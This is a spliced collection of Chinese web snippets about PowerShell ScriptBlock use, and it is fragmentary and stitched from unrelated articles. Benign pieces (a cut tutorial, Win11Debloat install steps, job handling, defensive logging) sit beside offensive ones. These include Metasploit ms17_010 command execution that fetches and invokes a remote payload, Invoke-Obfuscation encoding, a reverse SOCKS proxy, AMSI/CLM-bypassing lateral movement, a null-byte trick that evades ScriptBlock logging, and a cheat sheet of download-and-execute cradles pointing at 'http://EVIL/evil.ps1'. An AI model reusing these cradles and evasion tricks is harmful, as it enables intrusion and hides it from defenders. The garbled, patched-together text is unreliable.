这一行定义了一个字符串$code,其中包含一个 PowerShell 脚本块。这个脚本块接受一个名为$name的参数,并使用Write-Output命令输出一个问候消息。...2.创建脚本块: $function = [scriptblock]::Create($code) 这一行使用ScriptBlock类的Create方法将之前定义的字符串$code转换成一个可执行的脚本块...[scriptblock]是 PowerShell 中用于定义一个代码块的类型,可以包含任意的 PowerShell 代码。这里,$function变量现在存储了一个可执行的脚本块。...对于FileSystemWatcher事件, Write-Host「File created: (e.FullPath)」:这行命令输出被创建文件的路径。...() # 处理每个命令的输出 } 结语 本文介绍了几种高级 PowerShell 技术在网络安全测试中的应用,展示了如何利用这些工具进行信息收集、网络监控、系统监控以及并行处理。
ms17_010_command模块设置command参数为我们要执行的Powershell命令,注意要用\反斜杠转义下单双引号,执行exploit虽然有报错,但是已经成功上线了,如下图所示。...=[ScriptBlock]::Create($content);$scriptBlock.Invoke() (2) 文件落地执行上线 我们也可以将以上Powershell命令稍微改下,不直接执行Payload...注:我们在Metasploit的某些模块下执行命令时如果带有'、"单双引号可能会被过滤掉,需要在引号前边加上一个\反斜杠进行转义才行,路径也不能用\,要用\\。...以上Powershell命令解释: Add-Type引入.NET Framework(System.Net.Http); $content变量(GetAsync方法检索指定URL的HTTP响应,ReadAsStringAsync...或ReadAsByteArrayAsync方法读取文件内容); scriptblock类的Create方法将$content变量内容创建为一个代码块,Invoke方法执行代码块中的Powershell脚本或者命令
cut命令用于Linux和Unix系统中,从文件的每一行剪切字节、字符和字段并将这些字节、字符和字段写至标准输出。...要从名为content.txt的文件的每一行输出第一个字符,请使用以下命令: $ cut -c 1 content.txt U M O U F 在下面的示例中,我们将显示文件中每行的字符1至7(范围):...以下示例从名为“ content.txt”的文件的第1、2和3个字节切出: $ cut -b 1,2,3 content.txt Ubu Mic OsX Uni Fre 我们还可以使用以下命令列出范围...: $ cut -b 1-3,5-7 content.txt Ubutu Micoso OsXEl Uni FreBSD 一些实用的示例 Cut是结合不同的Linux或Unix命令最实用的方法。...cut命令的局限性之一是它不支持指定多个字符作为分隔符。多个空格会被计为多个字段分隔符,必须在剪切前使用tr命令才能获得所需的输出。
在powershell中最常使用的编码就是base64编码了,今天主要说一下Invoke-Obfuscation 这个powershell混淆编码框架,这也是著名的组织APT32 (海莲花)经常使用的一个工具...输入set scriptblock ‘echo xss ‘ 这里输入要编码的powershell命令 然后输入ENCODING 就会列出以下几种编码方式 ? 输入1选择ascii编码 ?...在Result中看到了编码后的命令,可以直接在powershell里面执行 然后我们输入back返回到上一层 输入launcher 选择命令的启动方式,可以尝试多种不同的方法结合。 ?...我们也可以直接在ps的命令行中直接进行编码 Invoke-Obfuscation -ScriptBlock {echo xss} -Command ‘Encoding\1,Launcher\PS\67′...在系统日志中(%systemroot%\System32\winevt\powershell.evtx),通过混淆与编码后的powershell命令更加增加了溯源的难度 ?
什么是Windows系统的命令行环境,之前我们在使用XP、Win7系统的时候,用的最多的就是微软官方自带的cmd命令窗口了,我们通过敲命令行窗口可以实现和操作系统之间的交互。...当然随着微软技术的快速发展,到了目前比较流行的Win10操作系统,默认采用的就是PowerShell命令行交互工具了,今天小编就来给大家介绍Powershell相关的知识,希望对大家学习能带来一些帮助!...● 学习成本非常高,想做到通过dos命令实现操作系统的运维还是非常困难的 2、PowerShell的产生 微软官方从Win7操作系统就内置了PowerShell1.0版本。...● 支持多种编程语言,包括 C#、VB.NET 和 PowerShell,可以快速编写和重用现有的代码。 ● 能够安全地执行命令和脚本,保障系统和数据的安全性。...官方文档:https://learn.microsoft.com/zh-cn/powershell/ 4、PowerShell使用场景 PowerShell是一种Windows操作系统的命令行脚本语言,
百度百科解释: Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。...PowerShell V5 PowerShell V5加入了CLM和ScriptBlock日志记录功能,能去混淆PowerShell代码并记录到事件日志。...开始加入了日志转储、ScriptBlock日志记录功能,并将其归入到事件4104当中,ScriptBlock Logging提供了在事件日志中记录反混淆的 PowerShell 代码的能力。...事件ID 关联 审计 笔记 4100 PowerShell遇到错误时记录 4103 ModuleLogging 执行管道 4104 ScriptBlockLogging 执行远程命令 创建Scriptblock...可以清晰的记录模拟测试命 通过上面的日志,我们可以看到Powershell可以清晰的记录模拟测试命令。
关于PowerProxy PowerProxy是一款功能强大的PowerShell Socks代理工具,该工具带有反向代理功能,可以帮助广大安全研究人员更加轻松地完成某些特定场景下的渗透测试任务。...PowerProxy专为渗透测试人员设计,在遍历阻止入站连接的网络时,反向代理功能肯定是要优先考虑的。在默认情况下,反向代理连接会经过加密处理,而Socks5连接也支持基于用户名和密码的身份验证。...工具下载 广大研究人员可以使用下列命令将该项目源码克隆至本地: git clone https://github.com/get-get-get-get/PowerProxy.git 工具配置 我们可以使用下列命令导入.../reverse_proxy_handler.py --help 运行一个反向代理 在本地设备上,使用下列命令开启一个Handler,此时Handler将会监听端口8080上的反向代理,客户端默认将连接至端口.../reverse_proxy_handler.py -p 8080 接下来,在PowerShell窗口中,运行下列命令: Start-ReverseSocksProxy 172.1.1.20 -Port
CheeseExec 该工具基于类PsExec功能来实现命令执行和横向渗透,并且必须以特权用户的身份才能运行。...System.Management.Automation.PowerShell并通过PowerShell来加载和运行任意代码。...这个工具最初是作为rasta_mouse CsPosh的增强组件而开发的,但是它本身已经发展成为一个框架,现在可以作为一个通用的PowerShell注入器使用。..., --help Show Help 工具优势 跟原生PowerShell相比,该工具有下列显著优势: 更干净、更直观的命令行; 自动化绕过(CLM、AMSI、WLDP); 避免从远程目标执行出站连接...(所有内容都通过WS-Management传输); 支持传输中的完全加密; CheeseDCOM CheeseDCOM组件可以通过DCOM实现命令执行或横向渗透,但必须以特权用户身份执行该任务。
的ScriptBlock日志记录功能,他可以完整的记录PowerShell的历史执行过程,当然这是有助于进行攻击取证和溯源的。...0x04 PowerShell v5 提供反混淆功能 PowerShell v5加入了CLM和ScriptBlock日志记录功能,能去混淆PowerShell代码并记录到事件日志,有效的抵御之前的攻击手段...开始加入了日志转储、ScriptBlock日志记录功能,并将其归入到事件4104当中,ScriptBlock Logging提供了在事件日志中记录反混淆的 PowerShell 代码的能力。...如下图所示,从补丁中的这段注释已经可以推测此漏洞的原理了,简单来说,就是空字符截断导致ScriptBlock日志对命令记录时发生了异常终止了记录。 ?...PowerShell命令完成漏洞利用的,当然同样也发现在命令拼接的多条命令执行中4103事件日志无法完美截断,单一的键值内容还是会被记录下来。
本文将介绍一个独特的PowerShell脚本解决方案,该方案通过普通用户凭据远程登录服务器,并成功修改了其他用户的密码。 1....为实现此目的,我们设计了一个PowerShell脚本,该脚本能够通过普通用户的凭据远程登录服务器,并修改其他用户的密码。 2....,并在ScriptBlock中执行密码修改操作。...命令,以验证密码是否已成功修改。...结论 这个独特的PowerShell脚本方案展示了如何通过普通用户的凭据远程修改其他用户的密码。虽然这不是常见的做法,但在特定的场景下可能非常有用。
的ScriptBlock日志记录功能,他可以完整的记录PowerShell的历史执行过程,当然这是有助于进行攻击取证和溯源的。...0x04 PowerShell v5 提供反混淆功能 PowerShell v5加入了CLM和ScriptBlock日志记录功能,能去混淆PowerShell代码并记录到事件日志,有效的抵御之前的攻击手段...,给攻击检测和取证造成了一定的困难,因此微软从PowerShell5.0开始加入了日志转储、ScriptBlock日志记录功能,并将其归入到事件4104当中,ScriptBlock Logging提供了在事件日志中记录反混淆的...如下图所示,从补丁中的这段注释已经可以推测此漏洞的原理了,简单来说,就是空字符截断导致ScriptBlock日志对命令记录时发生了异常终止了记录。...环境由于自身限制导致是无法依靠单一的PowerShell命令完成漏洞利用的,当然同样也发现在命令拼接的多条命令执行中4103事件日志无法完美截断,单一的键值内容还是会被记录下来。
因此,如果您启用了Module&ScriptBlock 日志记录并且至少安装了最新的 PS v4,那么你会认为 powershell 的事件日志中记录了基本脚本的活动记录。...根据上面的描述,我们将主机做如下配置: 1、安装了 powershell v5.1 2、启用日志模块 3、启用 ScriptBlock 日志模块 这就完美了吗?...Invoke-Command命令来卸载远程主机的 powershell V2: Invoke-Command -Computer WKS1 -ScriptBlock { Disable-WindowsOptionalFeature...你也可以指定多个主机,使用逗号隔开,命令如下: Invoke-Command -Computer WKS1,WKS2,WKS3 -ScriptBlock { Disable-WindowsOptionalFeature...分析命令行参数的优势在于它不必依赖 PowerShell 日志记录,因为我们可以评估 4688 安全事件的命令行参数。
而当我们用PowerShell这个强大的工具时怎么样开启后台任务呢,以及怎样处理这些任务呢,本篇将会告诉你PowerShell后台任务处理。...Job,状态为Running,Command表示执行的命令式Get-Process (2)Invoke-Command -AsJob 1 $InvokeCommandJob = Invoke-Command...2 $WaitJob1 = Start-Job -ScriptBlock {Sleep -Seconds 10} 3 #创建一个等待5s的后台任务 4 $WaitJob2 = Start-Job...完成的命令 1 Wait-Job -Id $WaitJob1.Id,$WaitJob2.Id -Timeout 10 2 Wait-Job -Name $WaitJob1.Name,$WaitJob2....因为我们忽略了一个问题: ScriptBlock里面的参数都是需要参数传递进去的。
普通下载 IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1") PowerShell 3.0+ IEX (iwr '...http://EVIL/evil.ps1') 隐藏的IE com对象 $ie=New-Object -comobject InternetExplorer.Application; $ie.visible...Start-BitsTransfer'http ://EVIL/evil.ps1'$ env:temp \ t; $ r = gc $ env:temp \ t; rm $ env:tempt; iex $ r PowerBreach的DNS...TXT方法 要执行的代码必须是存储在TXT记录中的base64编码的字符串 IEX ([System.Text.Encoding]::UTF8.GetString([System.Convert]::
所有被删除的应用程序都可以从 Microsoft 商店重新安装。 使用方法 快速方法 通过 PowerShell 自动下载并运行脚本。 以管理员身份打开 PowerShell。...将以下代码复制并粘贴到 PowerShell 中,按 Enter 运行脚本: & ([scriptblock]::Create((irm "https://win11debloat.raphi.re/"...通过输入以下命令启用 PowerShell 执行: Set-ExecutionPolicy Unrestricted -Scope Process 在 PowerShell 中,导航到文件解压的目录。...例如:cd c:\Win11Debloat 现在通过输入以下命令来运行脚本: .\Win11Debloat.ps1 Win11Debloat 菜单现在将打开。选择默认或自定义设置以继续。...--->已管理员身份运行 2.执行命令 复制 & ([scriptblock]::Create((irm "https://win11debloat.raphi.re/"))) 鼠标右键粘贴 开始下载
前言 良好的习惯是人生产生复利的有力助手 上一篇讲解了APT攻击中用到的cmd命令混淆,本篇延续上一篇的内容,分析一下攻击中更加常用的powershell混淆和检测方法。...powershell混淆主要是针对以下三个方面的内容,分别为: 命令本身 函数与对象 参数 而powershell的混淆姿势,根据自己现有的知识储备,大致分为了8大类: 大小写与特殊符号 字符串变换 简写与...大小写与特殊符号 1.1 任意大小写 这个没有什么好解释的,powershell大小写不敏感 INVOKE-Expression (New-Object SYStem.Net.WebClient).DownloadString...vAlue' )",8-1-6,TRUe)(WiNDOW.CLosE)" 混淆神器 和上一篇cmd混淆一样,基于上述的原理,安全大牛创造了 专门的PowerShell混淆工具,高深的命令混淆批量生产,...这是一种跨平台的解决方案, 能检测CMD,shell,powershell等多场景的命令混淆方式。静态检测的方式,对于动态生成+微混淆 的命令检测能力较弱。
列出域管理员 对于发现域管理员账号,可以在共享里使用本地的Windows命令。运行以下两条命令可以用来找出这些“域群组”的成员。...name 也可以运行下面的命令,这会连接任意目标来获取列表 net localgroup \\TARGET group name 0x03 本地管理员 net 模块 本地管理员可能是一个域账户,因此如果想把一个系统作为目标...powershell Invoke-Command -ComputerName TARGET -ScriptBlock {command here} beacon> powershell Invoke-Command...注:如果命令运行失败可能是因为 WinRM 配置原因,可在 powershell 环境下运行winrm quickconfig命令,输入y回车即可。...命令运行后的结果,WinRM 也将通过命令行进行显示,因此可以使用 Powershell 的 Invoke 命令来作为远程工具,而不使用其他的恶意软件来控制系统。
在查询时,分析师可以使用LOOKUP JOIN命令无缝地将精简事件元数据(如时间戳、主机和用户)与查找索引中的完整脚本文本重新结合,按需提供完整上下文。...[event][code] == "4104" and [winlog][event_data][MessageTotal] == "1" { clone { clones => ["powershell_scriptblock_reduction...("powershell_scriptblock_reduction" in [tags]) { mutate { update => { "[data_stream][namespace...output { if "powershell_scriptblock_reduction" in [tags]{ elasticsearch { cloud_id => "..."...= null && ctx.tags.contains('powershell_scriptblock_reduction') && ctx.powershell?.file?.
生成PowerShell ? 运行保存在桌面的payload.ps1,在杀软全程开启的情况下直接上线(易翻车,运气好) ?...3.编码混淆 PowerShell的免杀可以用Invoke-Obfuscation,Invoke-Obfuscation主要是对ps1脚本进行免杀,需要现有一个ps的payload。...进入Invoke-Obfuscation目录后,在PowerShell中执行命令 Import-Module ....c:\xxx\payload.ps1 或者指定待处理的ps代码 set scriptblock 'echo xss' ?...0x04 攻击场景 1.社工攻击 小姐姐小姐姐,我的电脑坏了,插不了U盘,你的借我插一下呗 ? 2.带有USB接口的终端机 各场所终端机器,找到USB接口怼进去 ? 3.其他应用场景自行脑补
简介 Windows 系统一个令人诟病的地方在于,它的 Shell 终端太拉胯了。且不说原先的 CMD,难用且难看,就连新加入的 PowerShell 也是一如既往的难看。...oh-my-posh 为 PowerShell 提供了各种美化主题,而 posh-git 则为 PowerShell 则为 PowerShell 提供了 Git 状态显示和命令补全等功能。...遗憾的是,oh-my-posh 的作者团队已经放弃 oh-my-posh 对 PowerShell 的支持……(oh-my-posh 不应当首先支持 PowerShell 再去考虑其它 Shell 吗,...Ctrl+a" -Function BeginningOfLine # 设置 Ctrl+a 为光标到行首 Set-PSReadLineKeyHandler -Key UpArrow -ScriptBlock...]::EndOfLine() # 设置后向搜索历史记录时光标在行尾 } Set-PSReadLineKeyHandler -Key DownArrow -ScriptBlock